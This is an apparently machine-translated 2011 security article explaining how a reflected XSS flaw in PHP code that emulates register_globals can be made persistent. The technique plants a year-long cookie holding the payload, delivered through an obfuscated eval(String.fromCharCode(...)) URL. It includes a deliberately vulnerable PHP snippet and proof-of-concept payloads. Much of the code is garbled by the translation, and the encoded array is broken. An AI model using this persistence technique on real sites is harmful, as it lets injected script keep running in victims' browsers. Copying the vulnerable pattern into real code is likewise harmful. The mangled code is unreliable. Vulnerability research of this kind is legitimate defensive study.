XSS Rootkit for exploring XSS vulnerability scenarios

EMail: rayh4c # 80sec.com Site: www.80sec.com Date: 2011-10-13

0 × 00 Preface

As we all know, the risk definitions of XSS vulnerabilities have been vague, and cross-site scripting (XSS) vulnerabilities are both high-risk and low-risk vulnerabilities that have been controversial for a long time. There are two types of XSS vulnerabilities: persistent and non-persistent:

1. The non-persistent XSS vulnerability is generally found in URL parameters. You need to access a specific URL constructed by a hacker to trigger the vulnerability.

2. The persistent XSS vulnerability usually exists in rich text and other interactive functions, such as posting and leaving messages. Hackers can use the XSS content to access the database for persistent storage through normal functions.

Generally, persistent XSS vulnerabilities have a higher level of risk than non-persistent XSS vulnerabilities. In essence, this is true. However, the use of vulnerabilities still requires scenarios, sometimes, when we look at the scenario more deeply, we can find unexpected things.

0 × 01 vulnerability Scenario Analysis

First, I will provide a simple PHP XSS vulnerability code:

Demo. php ---------------------
Foreach (Array ('_ get',' _ Post', '_ COOKIE') as $ _ request)
{
Foreach ($ _ request as $ _ k = >$ _ v) $ {$ _ k} = $ _ v;
}
?>

<A href = "<? Echo $ _ SERVER ["PHP_SELF"];?>? I = <? Echo $ id;?> "> Paging </a>
-----------------------

The simulation of register_globals in this PHP code is common in Web programs. It is also common to output pagination links to webpages in the code, because the validation of incoming data is ignored, the most common XSS vulnerabilities are discovered.

The following describes how to verify the XSS vulnerability:
Http: // 127.0.0.1/demo. php? Id = 1 "> <script> alert (1) </script>

The GET method passes in HTML content in the id parameter, which causes herf In the webpage content to close. Execute the script content in the script Tag:

<A href = "/demo. php? Id = 1 "> <script> alert (1) </script>"> paging </a>

This is a typical non-persistent XSS vulnerability. In the conventional logic of thinking, this vulnerability has basically ended up here. This article will soon become a common science article, however, the fact is not that simple, and this vulnerability scenario is further explored, which leads to the beginning of this article.

0 × 02 Implementation of XSS Rootkit www.2cto.com

We know that the first thing to do with the core code of popular PHP Web programs today is to simulate register_globals and directly register variables through GPC to facilitate the operation of the entire program. This article focuses on our demo in this scenario. php can not only GET parameters, but also accept COOKIE data, and COOKIE is the persistent data of the client browser. If the COOKIE is set through the XSS vulnerability, we can turn this typical non-persistent XSS vulnerability into persistent ones. We are very excited here. Let's test it:

Write a piece of javascript code for setting cookies.

Persistence_data = '"> <script> alert (/xss/) </script> ';
Var date = new Date ();
Var expireDays = 365; // set the COOKIE to expire after one year
Date. setTime (date. getTime () + expireDays * 24*3600*1000 );
Document. cookie = 'id = '+ Persistence_data +'; expires = '+ date. toGMTString (); // set the cookie id parameter value to XSS code

Encode the javascript code of the COOKIE once and put it into the xss url. This prevents unknown conditions of GPC and different browser encoding, And then we access the following URL.

Http: // 127.0.0.1/demo. php? Id = 1 "> <script> eval (String. fromCharCode (80,101,114,115,105,115,116,101,110, 99,101, 95,100, 97,116, 61, 39
, 60,115, 99,114,105,112,116, 108,101,114,116, 120,
115,115, 114,105,112,116, 10,118,
116,101, 61,110,101,119, 97,116,101,
10,118, 97,114, 32,101,120,112,105,114,101, 121,115, 53,
10,100, 97,116,101, 46,115,101,116, 84,105,109,101, 40,100, 97,116,
103,101,116, 84,105,109,101, 43,101,120,112,105,114,101,
121,115,
100,111, 99,117,109,101,110,116, 111,111,107,105,101, 105,
80,101,114,115,105,115,116,101,110, 61, 99,101, 95,100, 97,
59,101,120,112,105,114,101,115, 43,100, 97,116,
116,111, 116,114,105,110,103, 59) </script>

The results are satisfactory. Because the registration sequence of variables simulating register_globals is GPC, the registration sequence of variables simulating register_globals by programmers is different, which also affects the effect. Because the COOKIE variable registration always takes effect, therefore, we disable the browser to access http: // 127.0.0.1/demo. php still accesses http: // 127.0.0.1/demo. php? Id = 1, our XSS code will take effect, and if the client does not clear the COOKIE, this XSS vulnerability will be valid for one year, an inconspicuous low-risk vulnerability immediately turned into an exciting XSS Rootkit.

0 × 03

Some web vulnerability scanner reports indicate that non-persistent XSS vulnerabilities are marked as high-risk vulnerabilities and are generally controversial. You can refer to this article for further exploration of the scenarios, the purpose of this article is achieved.

So far, we have completed a transformation from a non-persistent XSS vulnerability to an XSS Rootkit, and once again revealed how important the vulnerability scenario is. It is wonderful to dig deep into the vulnerability scenario to complete an essential sublimation.